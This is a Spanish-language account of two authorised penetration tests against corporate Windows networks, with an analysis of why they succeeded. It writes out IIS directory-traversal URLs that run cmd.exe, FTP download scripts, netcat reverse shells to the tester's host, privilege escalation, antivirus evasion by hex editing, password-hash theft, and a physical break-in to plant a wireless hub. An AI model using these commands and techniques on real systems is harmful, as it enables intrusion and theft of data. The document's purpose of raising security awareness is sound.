Puede encontrarme online en http://www.geocities.com/floydian_99/
Extracto
Este texto consiste en la recolección y análisis de dos intrusiones en la red que he puesto en funcionamiento como parte de mis deberes como consultor en seguridad de computadoras. El nombre de la compañia para la que trabajé, así como el de sus clientes a los que he hackeado, permanecerá en el anonimato por razones evidentes. El objetivo de este texto es mostrar casos de la vida real sobre como es la seguridad de computadoras en vivo (N.del T: en vivo viene del inglés in the wild), en ambientes corporativos. Trataré de perfilar las principales razones por las cuales estas intrusiones tienen éxito y de porqué esta clase de procedimientos puede ser llevado a cabo casi por cualquier persona, exponiendo redes enteras a riesgos que sus propietarios ni han empezado a comprender.
Prefacio
Hace más o menos un año que empecé a investigar en la seguridad de computadoras. Antes de esto, me dedicaba al mantenimiento de computadoras y a la administración de servidores en distintas plataformas: DOS, OS/2, Novell, Windows. Siempre he simpatizado con el hack, pero nunca lo comprendí hasta que tuve suficiente tiempo libre por delante para empezar a estudiar más a fondo la escena de hacking y la industria de la seguridad de computadoras. Así es como empecé a escribir libros blancos (N del T: del inglés whitepaper), y así eventualmente he sido invitado a conferencias para presentar parte de mi trabajo. Pero no quería tener problemas con la ley, y tenía pocos recursos (dinero, máquinas, ancho de banda), así que me limité a seguir la pista de las nuevas vulnerabilidades y entender como funcionaban sin hasta ahora tener la oportunidad de probarlas en máquinas reales. Así que cuando encontré este trabajo y me propusieron que intentara hackear esas redes, estaba ansioso por ver realmente lo que podía hacer. Después de todo, no puedo ser peor que un script kiddie, o si?
¿A quién va destinado este documento?
Este documento está destinado a cualquiera que tenga interés en la seguridad en computadoras, intrusión en redes, hacking, virus y troyanos, administración de redes y computadoras en general.
Tabla de contenidos
1. Introducción
2. Base técnica del ataque
3. La primera víctima
4. La segunda víctima
5. La autopsia de los dos ataques
6. Conclusión
Appendice A. Recursos
Lo que voy a describir aquí es la historia completa de dos intrusiones con éxito en una red, donde nosotros (rápida y fácilmente) tenemos completo acceso a todo. Estas dos redes són el mismo tipo de red que está siendo continuamente infectada con el I Love You, Melissa, Anna.Kournikova, Sircam por nombrar unos pocos. La gente que pone en marcha estas redes, y la gente que las maneja, no pueden adelantarse a los planes de los virus (para otro ejemplo de esto, lea "Protección ante virus en una red Microsoft Windows, o Cómo tener una posibilidad"), mucho menos con un intruso dedicado que si todo va bien, será lo suficientemente bueno como para ocultar sus pasos (pero no es necesario que se mantenga así, como veremos más adelante). Y estas són redes administradas por (aparentemente) corporaciones grandes y respetadas, y fueron equipadas con cortafuegos y antivirus. ¿Y todavía se preguntan porqué el comercio electrónico no llega a las expectativas?
Ambas redes estaban basadas en sistemas Microsoft, lo cual no es sorprendente ya que es la plataforma más usada (y de lejos) en entornos corporativos, especialmente en el area de usuarios de escritorio. Ambas intrusiones se realizaron desde Internet con herramientas disponibles gratuitamente en Internet. Usaron vulnerabilidades conocidas desde hace mucho, y con un poco de imaginación haremos el resto. Si es un administrador de Windows NT/2000, lo que va a leer asustaría al mismo diablo. Si es un hacker malicioso que hace este tipo de cosas para vivir o sólo para divertirse, probablemente ya conocerá todo esto. Pero probablemente todavía querrá leerlo y reirse un poco.
Ambas intrusiones siguieron la misma metodología, similar a una intrusión típica, que consiste en recoger información, analizar la información, buscar vulnerabilidades, y llevar a cabo el ataque (no hemos tenido tiempo de probarlo en alguna de nuestras máquinas, pero no es problema), repetir. Ambos ataques se realizaron a través de nuestras instalaciones usando nuestra línea dedicada ADSL hacia Internet. Una de las intrusiones implicaba ir en secreto al local del cliente para instalar un concentrador inalámbrico en la red. Un portátil equipado con una tarjeta de red inalámbrica se usó para enlazar momentáneamente con el concentrador, para evitar ser detectado.
Algunas de las herramientas usadas fueron:
SuperScan : para escanear clases de direcciones IP en busca de puertos abiertos.
CyberKit : herramienta para la recolección de información
(consultas DNS, traceroute, whois, finger)
nc.exe : NetCat para Win32. Este programa le permite iniciar sesiones
telnet en el puerto que quiera.
hk.exe : programa que explota una vulnerabilidad en el API de Win32
(LPC, Procedimiento de Llamada Local) que puede usarse para conseguir
acceso con nivel de sistema.
net commands : esto lo conocerán todos los administradores de NT
(net view, net share, net use, etc).
un editor hexadecimal : estos programas le permiten editar ficheros
binarios en formato hexadecimal/ascii, similar al notepad
para ficheros de texto.
l0phtcrack : este software le permite crackear ficheros de
contraseñas de NT.
whisker.pl : este script escanea servidores web en busca de
vulnerabilidades conocidas, incluyendo instrucciones sobre como explotarlas.
EditPad Classic : una mejora del Notepad, donde recogeremos la
información obtenida durante el ataque.
y otras herramientas que ahora se me olvidan y que forman parte del
Nt Resource kit, o que mencionaré más adelante en el texto.
El abastecimiento de azúcar fué suministrado a base de M&Ms y Coca (laa bebida, no lo de esnifar).
Seudónimo : Empresa editorial XYZ
Tipo de compañia : Empresa grande (TV, radio, periódicos, revistas,
comapñia de discos, ¿no hacen todo eso hoy en día?)
Tiempo permitido para el ataque : 3 hombres/dia
Objetivo : penetrar en la red tan rápido como sea posible y
obtener pruebas de la intrusión.
Así que empecé por el principio, haciendo consultas DNS en sus clases IP,
consultas whois y escaneos de puertos de las direcciones IP del sitio
web principal de la empresa así como los sitios web de sus empresas
subsidiarias. Acabaron siendo cerca de 140 máquinas públicamente expuestas
a Internet (servidores web, DNS, correo, B2B), la mayoría máquinas Windows
NT, con un par de *nix en el lote. Un escaneo rápido de las cabeceras
ofrecidas por los servidores web muestra efectivamente una mezcla entre
IIS 3.0 y 4.0. Ahora, el problema es pensar por donde empezar. Vamos a
empezar por lo más obvio, el sitio web principal (NT 4.0 IIS 4.0).
Una comprobación rápidamente en los arcivos de Bugtraq en SecurityFocus
me muestra que la "vulnerabilidad de atravesamiento de directorios usando
Unicode" es todavía bastante popular (especialmente por los script
kiddies que la usan para llevar a cabo las 'pintadas' en sitios web),
aunque se sacó hace ya un año. Especialmente desde entonces hay una
nueva variante cada quince días más o menos. Así que arranque mi
herramienta especial de ataque, MS Internet Explorer (sarcasmo dirigido
a los medios que cubren incidentes sobre ataques). Básicamente, si
conoce como navegar por la web, conoce como atacar a un servidor IIS.
La vulnerabilidad de atravesamiento de directorios funciona engañando al servidor web para obtener contenidos situados fuera del directorio web al que se supone estamos limitados. Por defecto (lo que cubre entre el 50%-90% de cualquier instalación básica), los contenidos ofrecidos por el servidor están situados en C:\Inetpub\wwwroot. Así que, en vez de pedir el documento http://www.victima.com/index.html (que corresponde físicamente con el fichero del servidor C:\Inetpub\wwwroot\index.html), usted solicita algo como http://www.victima.com/../../index.html, lo cual pedirá el fichero c:\index.html. Por supuesto, index.html no existe en C:\, pero eso no es problema, ya que desde aquí puede solicitar cualquier fichero del que conozca su situación, basándose en una instalación por defecto. Cosas que me vienen a la mente como el programa cmd.exe, que puede usar para introducir comandos en el servidor web de la misma forma que si se sentara y escribiera en una máquina DOS. Tengo que decir en este punto que la vulnerabilidad no funciona como he descrito, pero era una forma simple de explicar cómo funciona actualmente. Para explotar esto, necesita permiso de ejecución y cambiar el /../.. con el equivalente en Unicode. Así que en vez de solicitar cmd.exe desde C:\Inetpub\wwwroot, lo haremos desde C:\Inetpub\wwwroot\scripts, que requiere otra capa de /.. .Sobre el Unicode, digamos que es un código simple similar al código ASCII que usa Windows NT. Lo utilizaremos para traducir algunos de los ../, porque de otra forma IIS filtrará su petición. De esta forma, si quiero ejecutar un comando "dir c: /s" en el servidor, significa que tengo que pedir /scripts/../../../winnt/system32/command/cmd.exe con dir c: /s como parámetro. Lanzamos este comando escribiendo lo siguiente en su navegador y presionando [Enter]:
http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+dir+c:\+/s
Note que + reemplaza el carácter [Espacio] en los comandos, y ?/c+ se utiliza para pasar parámentros a cmd.exe. %1c%pc es el equivalente en Unicode a /.. (también funcionan otros equivalentes, lea en Bugtraq sobre esta vulnerabilidad para más detalles). Así que ahora tenemos en la ventana de nuestro navegador un listado completo de todos los ficheros presentes en la unidad C: del servidor. Podemos hacer lo mismo para la unidad D:, para ver si existe, y si lo está, hacerlo para la unidad E:, etc. La idea es recoger tanta información sobre la máquina como podamos. Llegados a este punto, sabemos lo suficiente para ver qué software ejecuta la máquina, y donde están situados los datos. Comentar que llegados a este punto, empezaremos a utilizar comandos ping o comandos de red para intentar mapear alguna red interna con la que el servidor se comunique, pero utilizar estos comandos desde el navegador no es muy conveninente. Así que vamos a obtener una línea de comandos real.
Primero, monté un servidor FTP (sin acceso anónimo, por supuesto) en mi portátil y puse mis herramientas en una carpeta del FTP. Concretamente puse nc.exe, hk.exe y un par del NT resource kit. Entonces usé la herramienta FTP que estaba convenientemente esperando donde yo esperaba, para iniciar una conexión hacia mi portátil para traer de vuelta mis herramientas. Como el programa FTP es interactivo y yo sólo puedo entrar comandos a través del servidor web, tuve que hacer un script FTP dentro del servidor. Para hacer esto, simplemente ejecuté comandos echo redirigidos a un fichero de texto, usando la vulnerabilidad de atravesamiento de directorios.
http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruso.com+>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+usuario>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt http://www.victima.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt
(Mencionar que para que esto funcione, en realidad tendrá que renombrar primero el cmd.exe, copiándolo a root.exe o command.exe o cualquier otro. Le dejo que imagine cómo hacer esto último)
Compruebo mi script con el navegador una última vez para saegurarme que no he cometido ningún error, y entonces lanzo la sesión FTP, asumiendo que el cortafuegos permite este tipo de tráfico. Y lo hace.
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt
Una vez hecho esto, usaré netcat para obtener una línea de comandos en el servidor web. Netcat es una herramienta de red muy útil que puede usar para comunicarse a través de cualquier puerto, y dejar escuchando una línea de comandos. nc -h le mostrará las siguientes opciones:
C:\nc11nt>nc -h [v1.10 NT] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive]
De esta forma lanzaré netcat en modo escucha en el puerto 53 (también usado por el DNS, y permitido por el cortafuegos) en mi portátil, y lanzaré una conexión netcat asociada a una línea de comandos desde el servidor web al protátil (otra vez utilizando el navegador).
En mi máquina DOS
nc -l -p 53
y se queda colgado...
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+mi.IP.ADSL+53
Y en la máquina DOS que había quedado colgada:
Microsoft(R) Windows NT(TM) (C)Copyright 1985-1996 Microsoft Corp. C:\Intetpub\wwwroot\scripts>_
Voilà, tengo una línea de comandos. Utilizo el comando whoami contenido en el NT Resource kit, para encontrar con decepción que sólo soy INET_IUSR/Anonymous, la cuenta anónima de usuarios de Internet. Vemos que el servidor web no se ejecuta desde la cuenta de Administrador. Esto significa que no puedo accceder al fichero de contraseñas de NT (también llamado la base de datos SAM) a causa del acceso restringido. No hay problema, eso creo, inicio otra conexión telnet utilizando otro puerto (23 Telnet, ¿porqué no?) utilizando la herramienta hk.exe. Esta herramienta utiliza una vulnerabilidad de una llamada API sin documentar (NT_Impersonate_thread o algo así) que permite a un hilo (una parte de un proceso en memoria) recoger el testigo (un atributo de seguridad que define en qué nivel de seguridad puede ejecutarse un hilo, espacio del usuario o del núcleo ) de un hilo del núcleo (LSASS o equivalente). Para usar esta herramienta, simplemente ejecute hk seguido del comando que quiera ejecutar como si tuviera privilegios NT AUTHORYTY/SYSTEM (esto són privilegios de la cuenta de Administrador). Así que ejecutamos
hk nc -d -e cmd.exe mi.IP.ADSL 23 Comando o nombre de archivo no válido
Cómo?!? Hago un dir, y no veo ningún fichero llamado hk.exe. ¿Olvidé bajarlo antes? Hago otra descarga FTP (usando el script de antes porque las sesiones FTP interactivas no funcionan muy bien sobre una conexión netcat), y me aseguro de ver cómo se descarga el fichero desde mi portátil. Vuelvo a hacer un dir, y el fichero sigue sin estar ahí. Así que voy a C:\ y hago un dir hk.exe /s, y ¿sabeis qué? Estaba en la carpeta C:\Program Files\AntivyrtecAssociates\Antivirus\Quarantine\. Maldito sea, el estúpido antivirus había atrapado mi fichero. ¿Cómo puedo conseguir ser root sin él?
Muchos antivirus trabajan mediante la búsqueda de patrones de bytes que contienen virus conocidos y otro tipo de software maligno (N del T:malware) de entre los programas que usa su computadora. Si se encuentra una correspondencia, entonces el fichero probablemente sea de naturaleza peligrosa, y el antivirus previene al usuario de abrirlo. Virus polimórficos utilizan un fallo en esta estrategia modificándose a ellos mismos cada vez, haciendo más difícil la identificación fiable de un flujo de bytes en el código del virus que pueda usarse para identificarlo. ¿Puedo usar este fallo en mi favor? Por supuesto. Actualmente, a día de hoy, he perdido mucho del respeto hacia los antivirus viendo cómo fácilmente pude esquivarlo.
Utilizando un editor hexadecimal (no recuerdo cual, porque todos parecen iguales), abrí hk.exe. Lo que veo ahora mismo es el código binario del ejecutable, mostrado en hexadecimal. En la parte derecha, vemos la representación en ASCII de cada byte de código. Como es código compilado, es muy difícil modificar cualquier cosa sin cargarse el programa e inutilizarlo. Especialmente porque no conocemos que patrón busca el antivirus, y que no sé nada acerca de ingeniería inversa. La única cosa editable en el programa es una pequeña sección donde podemos leer el mensaje que imprime hk.exe cuando se ejecuta correctamente (algo como "Your wish is my command, master"). Vaya vaya, cambiemos esto a ver que ocurre. Así que reemplazamos la cadena con XXXX XXXX XX XX XXXXXXXX XXXXXX, y a renombrar el fichero a hk2.exe (a causa de esto es que no recurde la cadena exacta, ya que ahora sólo uso hk2.exe). Después una rápida descarga FTP, y hago un dir para ver si ha sido detectado. El fichero está ahí esperando donde lo había puesto, no siendo detectado por el antivirus. Me avergoncé de la compañia antivirus, que permanecerá anónima. En el campo del marketing, todos ellos aseguran que buscan flujos de bytes en los ficheros escaneados, pero resulta que en realidad escanean en busca de cadenas de TEXTO. Esto fué una gran desilusión para mi. Creo que puedo escribir un escaneador de virus en Perl mejor que el de los grandes mastodontes del software antivirus de hoy en día.
Por otro lado, abrí otra ventana DOS en mi máquina e inicié una nueva conexión a la escucha en mi portátil
nc -l -p 23
y ejecuté el comando
hk2 nc -d -e cmd.exe mi.IP.ADSL 23en el netcat del servidor web obteniendo:
hk2 nc -d -e cmd.exe mi.IP.ADSL 23 lsass pid & tid are: 50 - 53 Launching line was: nc -d -e cmd.exe mi.IP.ADSL 23 XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort suceeded
(En la ventana DOS a la escucha)
Microsoft(R) Windows NT(TM) (C)Copyright 1985-1996 Microsoft Corp. C:\Intetpub\wwwroot\scripts> whoami NT AUTHORITY/SYSTEM
En este momento, no tenía ninguna razón para mantener la primera conexión netcat, así que la cerré. Ahora estoy con control completo del servidor web y puedo hacer lo que quiera con él. Empiezo bajándome la base de datos SAM a mi portátil y empezar a crackear con l0pthcrack, utilizando primero un ataque de diccionario, y luego la fuerza bruta con las contraseñas que queden, si las hay. Mientras se ckackean las contraseñas, continuo mis investigaciones en mi recién poseida máquina. Consulto el comando ipconfig, y veo las direcciones IP de dos interfaces de red (NIC) instalados en la máquina. La dirección IP de uno de los NIC es efectivamente la dirección pública del servidor web. El otro lleva a una dirección IP interna, y después de unos pocos comandos de red (net ...) y comandos ping, tengo una lista completa de Dominios NT, PDC, BDC, Servidores. Puedo hablar con toda la red interna! Usando algunos de los nombres de usuario y contraseñas carckeadas, podría entrar en cualquier dominio y desde allí conectarme a cualquier estación de trabajo. En las cuentas de red, descubrí algunas cuentas administrativas de las que había descubierto la contraseña (backup/backup, admin/admin, test/1234 por ejemplo). Viendo mis progresos, un colega se ofreció para intentar entrar en el sitio web de una subsidiaria, mientras yo continuaba mi exploración a través del principal. Usando las mismas técnicas descritas antes, él pudo entrar en la red interna de la rama. Pero desde donde yo estaba, podía decir que yo tenía acceso a su parte de la red, así como a las otras subsidiarias, mientras que él tenía que subir a donde yo estaba antes de acceder a las otras. Así que finalizamos aquí la segunda intrusión debido a que estábamos ya en la Ciudad del Oro.
Mientras saltaba de una estación de trabajo a otra, de servidor a servidor, iba guardando imágenes de dir c: y dir d:, descargando ficheros de varias carpetas interesantes (marketing, HR, finanzas, Tec. Información, producción, contratos, presupuesto, etc), con una pareja de buzones de correo Outlook, las cuales me señalaron que podría probablemente usar los fallos en este software para enviar un virus propio y tomar el control de la máquina, pero porqué preocuparse? Ya tenía acceso a todo: mapeado de la red, listas de software aprovado por las TI, configuraciones estándar de escritorio, curriculums vitae de aspirantes, presupuestos del último año y del actual de varios departamentos, informes de producción, informes de finanzas, planes de adquisición y contratos de la compañia, listas completas de empleados con teléfonos, correos electrónicos y salarios, documentos sobre despidos, calendarios de citas completos de algunos directivos, junto con sus buzones de correo, que también mostraron algunas cosas interesantes. Siempre recordaré un correo electrónico de un chico recibido de uno de sus amigos. En el correo, el amigo le explicaba a mi víctima todos los buenos momentos pertenecientes a unas vacaciones en España, y de cómo disfrutó haciéndolo con una prostituta venezolana que aparentemente tenía unos pechos para recordar durante toda la vida. Y en el siguiente párrafo, invitaba a mi víctima a su boda en los próximos meses, con su novia a la que aparentemente quería mucho, muchísimo. A veces, la naturaleza humana me maravilla...
Estábamos apunto de quedarnos sin tiempo, ya que mis tres dias casi se habían agotado. No olvidemos que tenía que escribir un informe después de esto, y que el cliente sólo había pagado ese periodo de tiempo. Pero todavía había una pequeña parte de la red a la que no había podido acceder. Estaba rechazando cualquier intento de conexión desde cualquiera de los dominios que ya controlaba. Era un dominio NT separado, con su propia red IP de clase C, con acceso muy restringido, probablemente sólo accesible por la junta directiva si hago caso del nombre del dominio. Ninguna contraseña utilizada antes funcionaba. Un escaneo de puertos mostró que había un servidor web en esta red, y sabía que era un servidor NT, muy probablemente con un IIS 4.0. Pero ¿cómo puedo lanzar una consulta web desde la línea de comandos DOS para atacar el servidor web, al igual que hice con el primero? Algún día haré una herramienta para esto, pero definitivamente no tengo tiempo que dedicar a esto por ahora. Veía el oro, quería el oro (si bien ya tenía en abundancia), y estaba dispuesto a correr el gran riesgo de ser descubierto debido a la hora que era (cerca de las 10:00 AM). Iniciaria una conexión Winvnc.
Winvnc funciona como nc, pero en vez de dar una simple línea de comandos, le ofrece completo acceso al interfaz gráfico (GUI) como si estuviera delante de la máquina, al igual que lo hace PCAnywere. Esto tiene el efecto colateral de que una persona sentada delante de la máquina verá todas nuestras acciones, lo que significa ser descubierto.
En mi caso, no tenía nada que perder, así que el plan era descargar Winvnc en la máquina que controlaba actualmente, iniciar la conexión GUI desde allí, y entonces utilizar el navegador instalado en el servidor web para lanzar un ataque similar al servidor de la intranet usando la vulnerabilidad de atravesamiento de directorio. Desde allí, esperaba poder conseguir algunos nobres de usuario y contraseñas que poder usar para tener acceso a las máquinas protegidas de la misma forma que lo había hecho antes. Así que inicio la sesión Winvnc, y sorpresa, veo en mitad de la pantalla dos ventanas de aviso del antivirus, generadas por los dos intentos fallidos de descarga de hk.exe, 2 dias antes. Hago clic en Aceptar para eliminar cualquier prueba visual de mi presencia, y proceder a limpiar más pruebas, eliminando todos los programas que ya no iba a necesitar. Advertí la presencia de otro NT Res kit que yo no había puesto allí. Esto me hizo pensar que el administrador lo había instalado para que estuvier a disposición de cualquiera, o que eran los restos de otro intruso. Quién sabe.
Estaba dispuesto a lanzar el IE para finalizar con mi rápido ataque y vover a la oculta línea de comandos DOS cuando una segunda sorpresa ocurrió: el Bloc de Notas se abrió con un mensaje diciendo "who r you?" (N del T: "Quién eres?"). Sabía que podían descubrirme, y me habían descubierto. La forma de escribir el mensaje me hacía pensar que estaba trantando con un profesional de las TI o con un script kiddie, pero al echar un vistazo a la lista de procesos de la máquina (ps.exe del NT Res kit) me mostró que estaba conectado a través de una sesión PCAnywere, así que era probablemente de mantenimiento, pero no estaba frente a la máquina. Así que escribí "Dios" en el Bloc de Notas, le dí unos 5 segundos para leer mi contestación, y terminé su conexión (kill.exe). Rápidamente borré el resto de mis ficheros en la máquina y terminé la sesión mientras reía con un colega a mi lado.
Demasiado mal el fallar justo en el último asalto, y haber sido descubierto, pero si no fuera sólo alguien que hace su trabajo, trabajando de 9 a 5 porque también tengo vida propia, y un horario, lo habría crackeado, sin haber sido detectado. Un espía de una empresa o un hacker malicioso habría hecho esto durante la noche, siendo indetectables durante el tiempo que quisieran.
4. La segunda víctimaSeudónimo : Trust-us comencio electrónico inc.
tipo de compañia : compañia de comercio elctrónico, implementa soluciones
B2B y B2C para negocios.
Tiempo para el ataque : 3 hombres/día
Objetivo : penetrar en la red tan rápido como sea posible y recoger
pruebas de la intrusión
Mi primera impresión de la red de una gran corporación (de mi anterior experiencia de trabajo en una compañia de telecomunicaciones, vea 'Protección ante virus en una red Microsoft Windows', o cómo tener una posibilidad) desde el punto de vista de la seguridad quedó demostrado con la fácil intrusión hecha en la Empresa editorial XYZ. Estaba ansioso por ver cómo ir en contra de una empresa de comercio electrónico, tenía curiosidad por ver si realmente se preocupaban por la seguridad, dada su especialidad.
El ataque empezó de forma muy parecida al primero: consultas DNS, whois, escaneo de puertos, etc. Resulta que hay 5 o 6 máquinas accesibles desde Internet. 2 servidores DNS *unix, 1 servidor de correo Exchange, y un par de máquinas con IIS. Estas máquinas estaban todas bajo un cortafuegos que sólo permitía el tráfico específico: http, https, DNS, SMTP. Pero recordar que si uno de los servicios es vulnerable, puede ser explotado y el cortafuegos no nos servirá para bloquear el ataque. Utilicé whisker para escanear los servidores web en busca de vulnerabilidades conocidas del propio servidor y de los programas cgi. Las máquinas resultaron ser bastante seguras, incluso siendo máquinas NT. El servidor parece estar parcheado y actualizado, y los servicios no necesarios se han eliminado del IIS (como las consultas idq, páginas asp, páginas de ejemplo que vienen por defecto). Así que no podía utilizar la vulnerabilidad de atravesamiento de directorio. Probé con algunas peticiones incorrectas a los programas cgi, para ver si se producía alguna respuesta inesperada que me pudiera dar una pista. También intente acceder a través de la página de login de la empresa en busca de alguna cuenta de prueba. Nada funcionaba. Por lo que sabía en ese momento, esas máquinas eran infranqueables, considerando el marco de tiempo de que disponía y de los conocimientos que tenía (no sé UNIX, y no tenía el tiempo suficiente para aprender y crackear las máquinas UNIX, lo que sería difícil de todos modos). Así que teníamos que tomar otro camino.
Habíamos recibido algunos juguetes nuevos un par de semanas antes, y no queríamos esperar a probarlos. Teníamos un concentrador inalámbrico y un par de tarjetas de red inalámbrica PCMCIA. No sé cuanto cuesta este equipo, pero no más de 2 o 3 mil $, probablemente menos. No es exactamente barato, pero tampoco inaccesible para un individuo. Así que decidimos intentar una intrusión física en sus oficinas y colocar el concentrador inalámbrico en su red interna y ver qué pasaba después. Eramos tres personas para realizar esta operación, pero podría haberse hecho con una sola.
Pensamos en hacer un poco de teatro y hacernos pasar por gente de la compañia telefónica o algo así, con uniformes y un comprobador que emite sonidos (bip-bip) que seguro convence a cualquier persona no técnica y que no está familiarizada con este tipo de equipamiento. Teníamos hasta el plano del edificio, que mi jefe había pedido a un tipo de dirección de las instalaciones (estos que manejan servicios de los edificios). Le dió los planos a mi jefe sin preguntar por ninguna identificación ni nada, mi jefe simplemente le dijo que trabajaba para Trust-us comencio electrónico inc, y eso bastó! A mi jefe hasta lo dejaron solo en la oficina de este tipo durante una media hora, tiempo suficiente para echar una ojeada, o robar uno de los uniformes que colgaban de la puerta si hubiera querido.
Pero en cambio, elegimos la forma fácil; simplemente un paseo con la apariencia oportuna (edad media de los empleados de Trust-us es entre 25-30) fingiendo pertenecer a la compañia. La compañia es bastante nueva, y estaban contratando nuevo personal, así que es bastante normal ver caras nuevas en un lugar así. El plan era tener una persona paseando por las oficinas, evitando la entrada principal de las oficinas si era posible, evitando la mesa de recepción, y poner el concentrador inalámbrico en la red, en un conector LAN libre de la sala de fotocopiadoras (que teníamos localizada en el plano). De paso, también recoger cualquier dato de interés que pudiera surgir en la visita. Mientras tanto, otro compañero estaría sentado en los lavabos con su portátil equipado con la tarjeta de red inalámbrica intentando tener acceso a la red. Si lo conseguía, iniciaría una conexión netcat desde una de las máquinas a mi portátil, y entonces abandonaría el local. Por mi parte, estaría en nuestras oficinas, enganchado al enlace ADSL y esperando la conexión netcat. Una vez obtenida la conexión, lo primero que haría es crear una tarea programada que reiniciara la conexión netcat, por si caía la conexión por cualquier razón. De esta forma, no teníamos que volver al mismo sitio para reiniciar la conexión.
¡Y así es exactamente como ocurrió! Mi primer compañero entró desde la puerta junto a las escaleras, entrando junto con otra gente que volvía de una pausa para fumar. Fué a la sala de fotocopiadoras y enchufó el concentrador inalámbrico a la red, ocultándolo detrás de algunas cajas. Después de esto, se paseó por las oficinas, viendo bastantes compartimentos vacíos, ya que la empresa estaba en crecimiento. Saludó a un par de personas que estaban conversando. Encontró una lista de empleados en una mesa, con los teléfonos y posiciones en la compañia. Volvió a la sala de fotocopiadoras e hizo una copia. Buscó más cosas, pero era difícil averiguar dónde podían estar los documentos sin parecer sospechoso. Así que después de media hora, simplemente recogió el concentrador y abandonó las instalaciones.
Mientras, el compañero No2 está en el baño sentado con su portátil. Espera unos 5 minutos para dar tiempo suficiente a No1 para instalar el concentrador. Entonces arranca su máquina y automáticamente obtiene una dirección IP de la red interna mediante el servidor DHCP. ¡Este es un buen comienzo! No le costó mucho tomar control de un servidor interno para lanzar la conexión netcat hacia mí (con privilegios SYSTEM/NT_AUTHORITY, por supuesto). Mientras yo programaba las tareas de esta máquina para mantener un punto de entrada, él se daba una vuelta por el resto de la red, se detuvo en un par de estaciones de trabajo para descargar un par de ficheros, y abandonó después de 15 minutos, después de asegurarse que todo estaba bajo control desde mi lado (usando un fichero de texto para intercambiarnos mensajes).
Por mi parte, empecé haciendo lo habitual, descargando el fichero SAM del servidor, crackeándolo, explorando algunas estaciones de trabajo, visitando los servidores y el PDC/BDC, obteniendo también sus SAM. Descargué parte del código fuente de su sitio web, examinando sistemas de test, la base de datos de clientes, etc. Pude ver que había cortafuegos entre algunos segmentos de la red interna, pero todos los puertos netbios estaban permitidos, porque esas máquinas formaban parte del mismo dominio NT. Accidentalmente cerré mi sesión, peró volvió tal y como esperaba, así que pude continuar sin ningún problema. Al acabar el día, nuestra misión había finalizado.
Recalcar que eramos tres personas para realizar el ataque, aunque se podría haber hecho con una sóla. Únicamente nos quedó un día para acabar con la intrusión, así que debíamos ser eficientes y estar bien preparados. Aunque una persona bien preparada, sin tener niguna otra tarea que esta, podría haberse paseado fácilmente por las oficinas, colcar el concentrador en la red, ir al baño, programar sesiones netcat y hk2 a horas concretas, irse a casa y simplemente esperar a que se iniciaran las conexiones. Entonces era libre de hacer lo que quisiera.
5. La autopsia de los dos ataquesMi objetivo con este texto no es dar una receta sobre hacking para script kiddies para que puedan atacar a grandes empresas simplemente para hacer 'pintadas' en su sitio web. Tampoco intenta promover las intrusiones. Mi objetivo es dar una imagen real del mundo de la industria de las TI, y de las compañias que las emplean, sobre la situación de la seguridad en redes. Para mostrar qué fácil es, y el impacto en los negocios que puede tener un incidente de seguridad como este. Teniendo toda la información disponible, una persona maliciosa sólo se ve limitada por su imaginación (por cierto, el blackmailing es muy imaginativo). Mi objetivo con este texto es también describir porqué tienen éxito estos ataques, para entender porqué ocurre esto en el primer lugar. Sólo entonces seremos capaces de definir las acciones correctivas. Así que en este capítulo, haremos la autopsia de estos ataques, encontrando qué problemas tienen las empresas, y muchas otras.
En el caso de la Empresa editorial XYZ, los problemas són numerosos, y no simplemente tecnológicos. Primero que todo, cometí muchos errores al atacar esta máquina (servidor web), curva de aprendizaje y todo... Por ejemplo, no borré las pruebas de mi intrusión en los registros del IIS. Un kiddie probablemente pensaría en borrar el fichero entero, pero un intruso experimentado borraría sólo las entradas que lo delataran, dejando las menos pistas posibles. No importó en este caso, ya que nadie vió los registros. Sólo los comprobaron cuando recibieron mi informe, y se asombraron de todo el ruido que hice y que no fué detectado. Peor que eso, hubo 2 ventanas de aviso del antivirus (hk.exe) en la pantalla del servidor durante 2 días sin que nadie se diera cuenta, o que sí lo vieron, ¡pero no se preocuparon de saber que eran! Pero espere, todavía hay más: el técnico que nos descubrió durante la sesión Winvnc ¡no se preocupó de informar del incidente a nadie! Con este tipo de concienciación sobre la seguridad, lo que sigue no es difícil de comprender. Y los medios se preocupan por cosas como el Code Red o el Sircam.
